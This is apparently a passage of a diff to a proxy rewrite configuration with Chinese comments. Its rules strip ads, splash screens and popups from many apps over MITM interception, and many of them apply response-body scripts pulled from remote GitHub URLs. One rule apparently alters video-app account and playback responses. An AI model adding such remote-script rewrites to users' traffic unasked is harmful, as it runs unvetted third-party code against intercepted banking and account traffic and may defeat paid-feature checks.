+^https?:\/\/static.xyzq.cn\/image\/splash\/opera3.*.jpg url reject-200 + +# > 熊猫直播 +# hostname = static.api.m.panda.tv +^https?:\/\/static\.api\.m\.panda\.tv\/index\.php\?method=clientconf\.firstscreen&__version=(play_cnmb|(\d+\.){0,3}\d+)&__plat=ios&__channel=appstore url reject-img + +# > 讯飞 +# hostname = imeclient.openspeech.cn +^https?:\/\/imeclient\.openspeech\.cn\/adservice\/ url reject-200 + +# > 携程 +# hostname = m.ctrip.com, ma-adx.ctrip.com, mbd.baidu.com +# 更新弹窗 APP降级8.40.0版本搭配去开屏广告规则,目前没有出现MITM失败等其他问题 如开启可自行添加主机名 m.ctrip.com +^https?:\/\/m\.ctrip\.com\/restapi\/soa2\/[0-9]{5}\/json\/getTimeZoneServerIpList\?__gw_os=IOS url reject-200 +# 开屏去广告 +^https?:\/\/ma-adx\.ctrip\.com\/_ma\.gif url reject +# 8.47.0以上版本会有部分图片加载不出来 +^https?:\/\/m\.ctrip\.com\/restapi\/soa2\/13916\/json\/tripAds url reject-200 +^https?:\/\/mbd\.baidu\.com\/newspage\/api\/getmobads\?page\=landingshare url reject + +# > 虾米音乐 +# hostname = acs.m.taobao.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimusic\.common\.mobileservice\.startinit\/ url reject + +# > 下厨房 +# hostname = *.pglstatp-toutiao.com, res1.hubcloud.com.cn +# 去开屏 +^http?:\/\/.*\.pglstatp-toutiao\.com url reject-200 +^http:\/\/res1\.hubcloud\.com\.cn url reject-200 + +# > 厦门航空 +# hostname = mobileapi.xiamenair.com +# 开屏广告 +^https:\/\/mobileapi\.xiamenair\.com\/mobile-starter url reject + +# > 闲鱼 +# hostname = acs.m.goofish.com, g-acs.m.goofish.com, dinamicx.alibabausercontent.com +# 拦截广告下发 +^http:\/\/amdc\.m\.taobao\.com\/amdc\/mobileDispatch %E9%97%B2%E9%B1%BC* url-and-header reject +# 我的页面横幅 +^https:\/\/dinamicx\.alibabausercontent\.com\/pub\/fish_home_top_kingkong_new\/ url reject +# 搜索页面净化 +^https:\/\/acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlemtopsearch\.item\.search\.activate\/ url reject-dict +^https:\/\/acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlemtopsearch\.search\.discover\/ url reject-dict +# 首页顶部标签 +^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idle\.home\.whale\.modulet\/ url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js +# 搜索栏填充词 +^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlemtopsearch\.search\.shade\/ url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js +# 首页闲鱼币入口、底部发布球 +^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idle\.user\.strategy\.list\/ url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js +# 商品信息流广告 +^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlehome\.home\.nextfresh\/ url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js +# 定位地区页面的信息流广告 +^https:\/\/(g-)?acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idle\.local\.home\/ url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xianyu/xianyu_ads.js + +# > 新浪新闻 +# hostname = edit.sinaapp.com +^https?:\/\/edit\.sinaapp\.com\/ua\?t=adv url reject-200 + +# > 新片场 +# hostname = app.xinpianchang.com +^https?:\/\/app\.xinpianchang\.com\/open_screen\? url reject + +# > 香蕉是一种水果 +# hostname = *.pipiapps.com, *.fuliapps.com, *.xiangjiaoapps.com, *.xiangxiangapps.com +^https?:\/\/.+?\.(pipi|fuli|xiang(jiao|xiang))apps\.com\/(ucp\/index|getGlobalData|(\/|)vod\/reqplay\/) url script-response-body https://raw.githubusercontent.com/NobyDa/Script/master/QuantumultX/File/xjsp.js + +# > 小红书 +# hostname = edith.xiaohongshu.com, www.xiaohongshu.com, ci.xiaohongshu.com, rec.xiaohongshu.com +# 惊喜弹窗 +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/surprisebox\/(get_style|open|submit_action) url reject-dict +^https?:\/\/www\.xiaohongshu\.com\/api\/marketing\/box\/trigger\? url reject-dict +# 信息流 +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/note\/guide\? url reject-dict +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/guide\/user_banner url reject-dict +^https?:\/\/www\.xiaohongshu\.com\/api\/sns\/(v\d\/ads\/resource|v\d\/hey\/\w+\/hey_gallery) url reject-dict +# 搜索页 +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/search\/(banner_list|hot_list) url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/search\/(hint|trending)\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/search\/notes\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +# 开屏广告 +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/system_service\/config\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/system_service\/splash_config url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +# 详情页,小部件 +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/note\/widgets url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +#^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/user\/followings\/followfeed url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +#^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/recommend\/user\/follow_recommend\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +# 图片水印,视频水印 +^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/v\d\/note\/(imagefeed|live_photo\/save) url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/v\d\/(followfeed|homefeed)\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/(v2\/note\/feed|v3\/note\/videofeed)\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +^https?:\/\/(edith|rec|www)\.xiaohongshu\.com\/api\/sns\/(v4\/note\/videofeed|v10\/note\/video\/save)\? url script-response-body https://github.com/fmz200/wool_scripts/raw/main/Scripts/xiaohongshu/xiaohongshu.js +# 评论区用户id置空 (实验功能可能无效) +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/note\/comment\/list url response-body red_id response-body fmz200 +# 评论区图片水印 (实验功能可能无效) +^https?:\/\/ci\.xiaohongshu\.com\/system_config\/watermark url reject-img + + +# > 喜马拉雅 +# hostname = *.xima*.*.com, *.xmcdn.* +# 首页顶部去除直播 +^https?:\/\/.*\.xima.*\.com\/discovery-category\/customCategories url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js +# 修复轮播Ad失效Bug +^https?:\/\/.*\.xima.*\.com\/discovery-feed\/focus\/queryF url reject +# 播放页_Live +^https?:\/\/.*\.xima.*\.com\/mobile-playpage\/view\/ url reject +# MyInfo红点提醒 +^https?:\/\/.*\.xima.*\.com\/chaos-notice-web\/v1\/message\/preview\/list url reject +# 屏蔽大红包Tips +^https?:\/\/.*\.xima.*\.com\/social-web\/bottomTabs\/dynamicEntrance\/status url reject +# 屏蔽gif弹窗Ad +^https?:\/\/.*\.xmcdn\.com\/\w{8}\/\w{4}-\w{16}\/.+gif$ url reject +# gslb +^https?:\/\/gslb.*\.xima.*\.com\/ url reject +# 屏蔽Aged请求 +^https?:\/\/.*\.xima.*\.com\/(dog-portal\/checkOld|(child-mobile\/child|aged-mobile\/aged)\/mode\/query) url reject +# 部分Tab弹窗 +^https?:\/\/.*\.xima.*\.com\/discovery-feed\/isShowUserGiftPendant url reject +# 屏蔽红点提示 +^https?:\/\/.*\.xima.*\.com\/mobile-user\/unread url reject +# 屏蔽minor请求 +^https?:\/\/.*\.xima.*\.com/mobile-user/minorProtection/pop url reject +# 屏蔽隐私搜集 +^https?:\/\/.*\.xima.*\.com\/collector\/xl\/v\d url reject +# 屏蔽版本更新 +^https?:\/\/.*\.xima.*\.com\/butler-portal\/versionCheck url reject +# 屏蔽开屏广告 +^https?:\/\/(adse\.wsa|adse|adbehavior|xdcs-collector)\.xima.*\.com\/.* url reject +# 屏蔽位置请求 +^https?:\/\/.*\.xima.*\.com\/mobile\/discovery\/v\d\/location url reject +# 屏蔽热搜词 +^https?:\/\/.*\.xima.*\.com\/(hub\/)?hotWord url reject +# 屏蔽热搜board +^https?:\/\/.*\.xima.*\.com\/(hub\/)?hotWordBillboard url reject +# 屏蔽搜索框定时_Ad +^https?:\/\/.*\.xima.*\.com\/(hub)?guideWord url reject +# 屏蔽实时Ad请求 +^https?:\/\/.*\.xima.*\.com\/api\/v\d\/adRealTime url reject +# 屏蔽ting_Ad +^https?:\/\/.*\.xima.*\.com\/ting\/(loading|feed|home)? url reject +# 屏蔽首页横幅_Ad +^https?:\/\/.*\.xima.*\.com\/focus-mobile\/focusPic url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js +# 屏蔽首页动态_Ad +^https?:\/\/.*\.xima.*\.com\/discovery-feed\/v\d\/mix url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js +# 屏蔽Tab页滚动_Ad +^https?:\/\/.*\.xima.*\.com\/discovery-category\/v\d/category url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js +# 去除我的页面Ad_Tag +^https?:\/\/.*\.xima.*\.com\/mobile-user\/v\d\/homePage url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/xmly_json.js + +# 小宇宙 +# hostname = api.xiaoyuzhoufm.com +# 去开屏广告 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/flash- url reject-dict +# 移除ai总结 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/ai-summary url reject-dict +# 会员横幅设为不可点击 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/membership\/platform url reject-dict +# 移除小宇宙搜索框内容 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/search\/get-(?>preset|express) url reject-dict +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/category\/list-daily-suggestion url reject-dict + +# >>>>>>>>>>>>>>> ✅ Y ✅ <<<<<<<<<<<<<< +# > YouTube +# hostname = rr*.googlevideo.com, youtubei.googleapis.com +# 响应体 +^https:\/\/youtubei\.googleapis\.com\/youtubei\/v1\/(browse|next|player|search|reel\/reel_watch_sequence|guide|account\/get_setting|get_watch) url script-response-body https://raw.githubusercontent.com/Maasea/sgmodule/refs/heads/master/Script/Youtube/youtube.response.js +# 播放页广告 +^https:\/\/rr[\w-]+\.googlevideo\.com\/initplayback\? url reject-dict + +# > 曜影医疗 +# 去开屏和弹窗广告 +# hostname = patient-api.suh.cn, userpms-api.suh.cn +^https:\/\/userpms-api\.suh\.cn\/apt\/api\/bannar\/PageList\?sysSearchKey=sysPat&showSearchKey=advertising&pageIndex=1&pagesize=100&lanSearchValue=1&locationSearchKey=&status=1& url reject-dict +^https:\/\/patient-api\.suh\.cn\/apt\/api\/userinfo\/GetNotice\?appname=pmsys&channel=6&device=ios&language=1&source=2&version= url reject-dict + +# > 云闪付 +# hostname = wallet.95516.com, tysdk.95516.com, ads.95516.com +# 默认关闭,只使用分流去云闪付广告 +#^https?:\/\/wallet\.95516\.com\/s\/wl\/icon\/long url reject +#^https?:\/\/(tysdk|ads)\.95516\.com url reject-dict + +# > 邮储银行 +# hostname = static.psbc.com, mcc.psbc.com, static.mobile-bank.psbc.com, d.psbc.com +# 添加主机名后影响APP正常运行 +^https?:\/\/static.psbc.com:8090\/mbank_f\/images\/[0-9]+\.png - reject-200 +^https?:\/\/mcc.psbc.com:9090\/mcc\/resources\/[0-9]+\.(jpg|png) url reject-200 +# 邮储信用卡 +^https?:\/\/d\.psbc\.com:9091\/mcc\/resources\/[0-9]+\.(jpg|png|jpeg) url reject-200 +# 屏蔽升级弹窗 感谢@jinlvei分享 影响软件运行,如开启可自行添加主机名 +^https?:\/\/static\.mobile-bank\.psbc\.com\/mgs url reject + +# > 银盛通 +# hostname = ad.ysepay.com +^https?:\/\/ad\.ysepay\.com\/yst-ad\/ST101001\/[0-9]{11}\.jpg url reject + +# > 盈宝证券 +# hostname = api.winbull8.com +# 首页和我的横幅广告 +^https?:\/\/api\.winbull8\.com\/v1\/marketing\/(advert|activity)\/(list|page) url reject-dict + +# > 盈立智投 +# hostname = hz.yxzq.com +# 我的横幅广告 +^https?:\/\/hz\.yxzq\.com\/news-configserver\/api\/v1\/query\/banner_advertisement url reject-dict + +# > 优酷 +# hostname = acs.youku.com, push.m.youku.com, un-acs.youku.com +# 播放详情页,首页信息流,顶部tab,我的页面,评论区 +^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.columbus\.(gateway\.new\.execute|home\.feed|home\.query|uc\.query|ycp\.query) url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 底部tab +^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.haidai\.lantern\.appconfig\.get url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 青少年模式弹窗 +^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.huluwa\.dispatcher\.youthmode\.config2 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 播放页弹窗动图 +^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.(pisp\.scripts\.get|xspace\.play\.position\.preload\.query|xspace\.poplayer\.position\.query) url reject-dict +# 搜索列表 +^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.soku\.yksearch url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 热剧弹窗 +^https?:\/\/push\.m\.youku\.com\/collect-api\/get_push_interval_config_wx\? url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js +# 开屏广告 +^https?:\/\/un-acs\.youku\.com\/gw\/mtop\.youku\.play\.ups\.appinfo\.get url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cnftp.js + +# > 游戏时光 +# hostname = app02.vgtime.com, www.vgtime.com +# 开屏广告,文章顶部广告 感谢【Ava阿檬】分享 +^https?:\/\/app02\.vgtime\.com:8080\/vgtime-app\/api\/v2\/init\/ad\.json$ url reject-dict +^(http:\/\/www\.vgtime\.com\/app\/topic\/\d+\.jhtml\?.*?&close_ad=)false(&page=\d&sign=\w+×tamp=\d+&font_size=\d$) url 302 $1true$2 + +# > 永辉 +# hostname = api.yonghuivip.com +^https?:\/\/api\.yonghuivip\.com\/web\/shensuan\/ad\/getAd url reject-200 + +# > 悠洗APP +# hostname = api.ulife.group +# 净化 感谢【TEXAS】分享 +^https?:\/\/api\.ulife\.group\/signintask\/adServing url reject-dict +^https?:\/\/api\.ulife\.group\/auth\/account\/getUpgradeStrategy url reject-dict +^https?:\/\/api\.ulife\.group\/market\/frontEntrance\/getThirdAdvertising\?displayPort=1&type=15 url reject-dict +^https?:\/\/api\.ulife\.group\/market\/memberCard\/listMemberCard\?isShowSecondaryCard=1 url reject-dict +^https?:\/\/api\.ulife\.group\/auth\/account\/entrance url reject-dict +^https?:\/\/api\.ulife\.group\/market\/homeIconDetail\/list\/v7 url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/yx.js + +# > 一淘 +# hostname = acs.m.taobao.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.etao\.noah\.query\/.+tao_splash url reject +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimama\.etao\.config\.query\/.+?etao_advertise url reject + +# > 一号店 +# hostname = venus.yhd.com +^https?:\/\/venus\.yhd\.com\/memhome\/launchConfig url reject + +# > 一汽大众 +# hostname = one-app-h5.faw-vw.com +# 开屏广告 感谢【finch.ftm】分享 +^https?:\/\/one-app-h5\.faw-vw\.com\/prod-api\/mobile\/one-app\/general\/public\/v1\/official_activity\/get_animation_putaway_list\?appkey.* url reject-200 +^https?:\/\/one-app-h5\.faw-vw\.com\/prod-api\/mobile\/one-app\/general\/public\/v1\/first_page\/get_carousel_list?appkey.* url reject-200 + +# > 一起考教师 +# hostname = api.17kjs.com +# 开屏广告及题库广告 感谢【Jessire】分享 +^https?:\/\/api\.17kjs\.com\/meta\/ads_targets url reject + +# > 有兔阅读(米兔) +# hostname = img.dailmo.com, img.allahall.com, app.zhoudamozi.com +^https?:\/\/img\.dailmo\.com\/img\/61\/23c7125bfe6166d69f3bff5b0ca4d31e\.jpg url reject +^https?:\/\/img\.dailmo\.com\/img\/50\/edb40c6392f848df37f9c31d8a6f90f6\.jpg url reject +^https?:\/\/img\.dailmo\.com\/img\/6\/90585d9e96c73dd49644af57d8501624\.jpg url reject +^https?:\/\/img\.dailmo\.com\/img\/5\/6cb2aa237ce1f65944aa1ecb29fbdeef\.jpg url reject +^https?:\/\/img\.allahall\.com\/img\/61\/23c7125bfe6166d69f3bff5b0ca4d31e\.jpg url reject +^https?:\/\/img\.allahall\.com\/img\/50\/edb40c6392f848df37f9c31d8a6f90f6\.jpg url reject +^https?:\/\/img\.allahall\.com\/img\/6\/90585d9e96c73dd49644af57d8501624\.jpg url reject +^https?:\/\/img\.allahall\.com\/img\/5\/6cb2aa237ce1f65944aa1ecb29fbdeef\.jpg url reject +^https?:\/\/img\.allahall\.com\/img\/59\/6a13a75dfe46ebfdac96bd27ef098885\.jpg url reject +^https?:\/\/app\.zhoudamozi\.com\/ad\/.+ url reject-200 + +# > 雅虎 +# hostname = m.yap.yahoo.com +^https?:\/\/m\.yap\.yahoo\.com\/v\d{2}\/getAds\.do url reject + +# > 印象笔记 +# hostname = app.yinxiang.com +^https?:\/\/app\.yinxiang\.com\/ads\/ url reject-200 + +# > 易车 +# hostname = api.ycapp.yiche.com, cheyouapi.ycapp.yiche.com +^https?:\/\/api\.ycapp\.yiche\.com\/appnews\/getadlist url reject-img +^https?:\/\/api\.ycapp\.yiche\.com\/yicheapp\/getadlist url reject-img +^https?:\/\/cheyouapi\.ycapp\.yiche\.com\/appforum\/getusermessagecount url reject-img + +# > 易捷加油 +# hostname = a.sinopecsales.com +# 开屏广告 +^https?:\/\/a\.sinopecsales\.com\/app\/cms url reject-dict +# ^https?:\/\/a\.sinopecsales\.com\/app\/cms\/AppCmsPage\.json + +# > 易捷加油小程序 +# hostname = ocrifs.ejoy.sinopec.com +# 底部横幅广告 +^https?:\/\/ocrifs\.ejoy\.sinopec\.com\/advertitfs\/advert\/findAdvertInfo url reject-dict + +# > 易校园 +# hostname = compus.xiaofubao.com +# 开屏广告 +^https?:\/\/compus\.xiaofubao\.com\/compus\/advertising\/getStartupAdvertising url reject-dict + +# > 萤石 +# hostname = i.ys7.com +^https?:\/\/i\.ys7\.com\/api\/ads url reject + +# > 云宝宝大数据 +# hostname = nnapp.cloudbae.cn +^https?:\/\/nnapp\.cloudbae\.cn:\d+\/mc\/api\/advert/ url reject +^https?:\/\/nnapp\.cloudbae\.cn\/mc\/api\/advert/ url reject + +# > 友邻优课 +# hostname = new-app-api.ylyk.com +^https?:\/\/new-app-api\.ylyk\.com\/v\d\/user\/myinfo\/adviser url reject + +# > 友邦 +# hostname = e-static.aia.com.cn +^https?:\/\/e-static\.aia\.com\.cn\/kyh\/resourcefolder\/ads url reject-dict + +# > 医考帮 +# hostname = api.yikaobang.com.cn +^https?:\/\/api\.yikaobang\.com\.cn\/client\/main\/homePageSmallAd url reject +^https?:\/\/api\.yikaobang\.com\.cn\/index\.php\/Client\/main\/startPage url reject +# 去强制更新 感谢【SH DDDDD】分享 +^https?:\/\/api\.yikaobang\.com\.cn\/index\.php\/version\/version\/check url reject + +# > 艺龙旅行网 +# hostname = mobile-api2011.elong.com, webboot.zhangyue.com, saad.ms.zhangyue.net +^https?:\/\/mobile-api2011\.elong\.com\/ad(?>v|gateway) url reject-200 +^https?:\/\/webboot\.zhangyue\.com\/zycl\/api\/ad\/ url reject +^https?:\/\/saad\.ms\.zhangyue\.net\/ad url reject + +# > 映客直播 +# hostname = service.busi.inke.cn +^https?:\/\/service\.busi\.inke\.cn\/api\/flash\/screen url reject + +# > 云麦 +# hostname = restapi.iyunmai.com +^https?:\/\/restapi\.iyunmai\.com\/api\/ios\/ad\/ url reject-200 + +# > 央视 +# hostname = www.cntv.cn +^https?:\/\/www\.cntv\.cn\/nettv\/adp\/ url reject-200 + +# > 央视频 +# hostname = cdn.cmgadx.com +^https?:\/\/cdn\.cmgadx\.com\/sdk\/pool\/m8uTS50pt3DC0Xd6\.json url reject-200 +^https?:\/\/cdn\.cmgadx\.com\/sdk\/pool\/\w+\.json url reject + +# > 猿辅导 +# hostname = xyst.yuanfudao.com +^https?:\/\/xyst\.yuanfudao\.com\/iphone\/splashesV\d url reject-200 + +# > 一刻相册 +# hostname = issuecdn.baidupcs.com +^https?:\/\/issuecdn\.baidupcs\.com\/issue\/netdisk\/ts_ad\/ url reject-200 + +# > 翼支付 +# hostname = mapi-app.bestpay.com.cn +# 弹窗广告(APP降级10.66.80版本) 如开启可自行添加主机名 +^https?:\/\/mapi-app\.bestpay\.com\.cn\/gapi\/appclient\/noEnc\/getAppPopup url reject-dict +# 开屏广告(APP降级10.66.80版本) +^https?:\/\/mapi-app\.bestpay\.com\.cn\/gapi\/appClient\/noEnc\/getHomePageAds url reject-dict + +# > 鸭奈飞 +# hostname = pipi.4kya.com +^https?:\/\/pipi\.4kya\.com\/\/xgapp\.php\/v3\/advert\.position=[^2]+ url reject + +# > 优书 +# hostname = gongdu.youshu.cc +^https?:\/\/gongdu\.youshu\.cc\/m\/open_screen\/list_by_udid url reject + +# > 育学园 +# hostname = *.yuxueyuan.cn +^https?:\/\/.*\.yuxueyuan\.cn\/yxy-api-gateway\/api\/json\/advert\/getsAdStartScreen url reject-200 + +# > 亚马逊 +# hostname = api-cslp-emt.amazon.cn +^https?:\/\/api-cslp-emt\.amazon\.cn\/gateway\/content\/widget\/popup url reject-200 +^https?:\/\/api-cslp-emt\.amazon\.cn\/gateway\/recommend url reject-dict + +# > 亚朵开屏 +# hostname = api2.yaduo.com +^https?:\/\/api2\.yaduo\.com\/atourlife\/activity\/appLaunch url reject-dict + +# > 永安行 +# hostname = api5.youonbike.com +# 开屏以及app内弹窗广告 +^https:\/\/api5\.youonbike\.com\/ibike-rest-service\/user\/fun_IBF_GetAdvert url reject-dict + +# > 云快充(微信小程序) +# hostname = web-stable-cdn.ykccn.com, gw3.ykccn.com +^https?:\/\/web-stable-cdn\.ykccn\.com\/sp-img-2023\/common\/weCom-open url reject-img +^https?:\/\/gw3\.ykccn\.com\/api\/omp\/mt\/appAdvertising\/ url reject-dict +^https?:\/\/gw3\.ykccn\.com\/activityServer\/app\/commandAd url reject +^https?:\/\/gw3\.ykccn\.com\/api\/omp\/mt\/charge\/activity\/package\/newest url reject-dict + +# > 游民星空 +# hostname = *.gamersky.com +# 移除开屏广告、列表广告 +^http:\/\/.+\.gamersky\.com\/.+\/adSystem\/ad\/.+ url reject-dict +https://.+\.gamersky.com/v1/statisticAd url reject-dict + + + +# >>>>>>>>>>>>>>> ✅ Z ✅ <<<<<<<<<<<<<< +# > 招商银行 +# hostname = webappcfg.paas.cmbchina.com, mbmodule-openapi.paas.cmbchina.com +# 开屏广告 +^https?:\/\/webappcfg\.paas\.cmbchina\.com\/v\d\/func\/getmarketconfig url reject-200 +# 首页横幅广告 +^https?:\/\/mbmodule-openapi\.paas\.cmbchina\.com\/graphic\/v2\/module\/graphic url reject-dict + +# > 招商证券 +# hostname = marketing.cmschina.com +# 首页和理财页面横幅广告 +^https:\/\/marketing\.cmschina\.com\/mkt\/api\/v1\?.* url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cmschina/cmschina.js + +# > 掌上生活 +# hostname = mbasecc.bas.cmbchina.com, mbasecc.bcs.cmbchina.com, intellicc.bas.cmbchina.com, intellicc.bcs.cmbchina.com +# 开屏广告 +^https?:\/\/mbasecc\.(bas|bcs)\.cmbchina\.com\/Edge\/api\/mlife\.clientface\.clientservice\.api\.advertiseService\/preCacheAdvertiseSec url reject-dict +# 设置栏目内广告 +^https?:\/\/intellicc\.bas\.cmbchina\.com\/Edge\/api\/mlife\.intelli\.render\.api\.render\/getDynamicDataSec url reject +# 首页随机弹窗 +^https?:\/\/intellicc\.bcs\.cmbchina\.com\/Edge\/api\/mlife\.intelli\.adrender\.api\.AdWork\/getAdsBySlotId url reject-dict + +# > 中国银行 +# hostname = mlife.jf365.boc.cn +# > 中国银行 缤纷生活 +^https?:\/\/mlife\.jf365\.boc\.cn\/AppPrj\/FirstPic\.do\?txnId=2PIC000001 url reject-200 + +# > 中信银行 +# hostname = wap.bank.ecitic.com, imcs.citicbank.com +^https?:\/\/wap.bank\.ecitic\.com:6443\/NMBFOServer\/cbframework\.do\?act=CUBEPAGEDATA url reject-200 +# 开屏广告 +^https:\/\/imcs\.citicbank\.com\/cloud\/([a-fA-F0-9]{32})\.(jpg|png) url reject +^https?:\/\/imcs\.citicbank\.com\/cloud\/.+(1125.+2436|1242.+2688|750.+1638|563.+1218) url reject-dict + +# > 中国移动 +# hostname = client.app.coc.10086.cn, app.10086.cn +^https?:\/\/client\.app\.coc\.10086\.cn\/biz-orange\/DN\/init\/startInit url reject +^https?:\/\/client\.app\.coc\.10086\.cn\/biz-orange\/DN\/explorePage\/getAdverList url reject +# 多个悬浮窗 +^https?:\/\/(client\.app\.coc|app)\.10086\.cn\/biz-orange\/DN\/emotionMarket url reject + +# > 中国移动云盘 +# hostname = mcmm.caiyun.feixin.10086.cn, mrp.mcloud.139.com, ad.mcloud.139.com, middle.yun.139.com +^https?:\/\/mcmm\.caiyun\.feixin\.10086\.cn:80\/mcmm\/api\/IAdvert url reject-200 +^https?:\/\/mcmm\.caiyun\.feixin\.10086\.cn:80\/mcmm\/api\/v\d\/getAdverts url reject-200 +^https?:\/\/middle\.yun\.139\.com\/openapi\/cardConfig\/queryCardInfoV3 url reject-200 +^https?:\/\/ad\.mcloud\.139\.com\/advertapi\/adv-filter\/adv-filter\/AdInfoFilter\/getAdInfos url reject-dict +^https?:\/\/mrp\.mcloud\.139\.com\/mc\/mc-client-service\/openapi\/letter\/query url reject-dict + +# > 中国联通 +# hostname = m.client.10010.com, m1.ad.10010.com, res.mall.10010.cn +^https?:\/\/m\.client\.10010\.com\/mobileService\/(activity|customer)\/(accountListData|get_client_adv|get_startadv) url reject-img +^https?:\/\/m\.client\.10010\.com\/mobileService\/customer\/getclientconfig\.htm url reject-dict +^https?:\/\/m\.client\.10010\.com\/uniAdmsInterface\/(getHomePageAd|getWelcomeAd) url reject-img +^https?:\/\/[^(apple|10010)]+\.(com|cn)\/(a|A)d(s|v)?(\/|\.js) url reject-img +^https?:\/\/m1\.ad\.10010\.com\/noticeMag\/images\/imageUpload\/2\d{3} url reject-img +^https?:\/\/res\.mall\.10010\.cn\/mall\/common\/js\/fa\.js?referer= url reject-img + +# > 中国电信 +# hostname = cloud.189.cn, zt-app.go189.cn +^https?:\/\/cloud\.189\.cn\/include\/splash\/ url reject +^https?:\/\/zt-app\.go189\.cn\/zt-app\/welcome\/.*?Animation url reject-img + +# > 中国广电 +# hostname = app.10099.com.cn +^https?:\/\/app\.10099\.com\.cn\/contact-web\/api\/version\/getFlashScreenPage url reject-200 + +# > 中国天气网小程序 +# hostname = e.weather.com.cn +# 横幅广告 +^https?:\/\/e\.weather\.com\.cn\/weChat\/typhoonNull\.json url reject-dict + +# > 中国知网 +# hostname = xyz.cnki.net +^https?:\/\/xyz\.cnki\.net\/resourcev7\/api\/manualpush\/SlidsList$ url reject-200 + +# > 中国人保 +# hostname = zgrb.epicc.com.cn +# 人保头条 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/h\/headlines\/queryHeadlines url reject +# 启动开屏 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/a\/update\/startupPage\/v url reject-dict +# 猜你喜欢 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/a\/config\/guessYouLike\/v url reject-dict +# 主页面 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/a\/config\/homeInit\/v url script-response-body https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/picc/picc_ads.js +# 我的页面 +^https?:\/\/zgrb\.epicc\.com\.cn\/G-HAPP\/mpageconfig\/myPageConfigList\/v url script-response-body 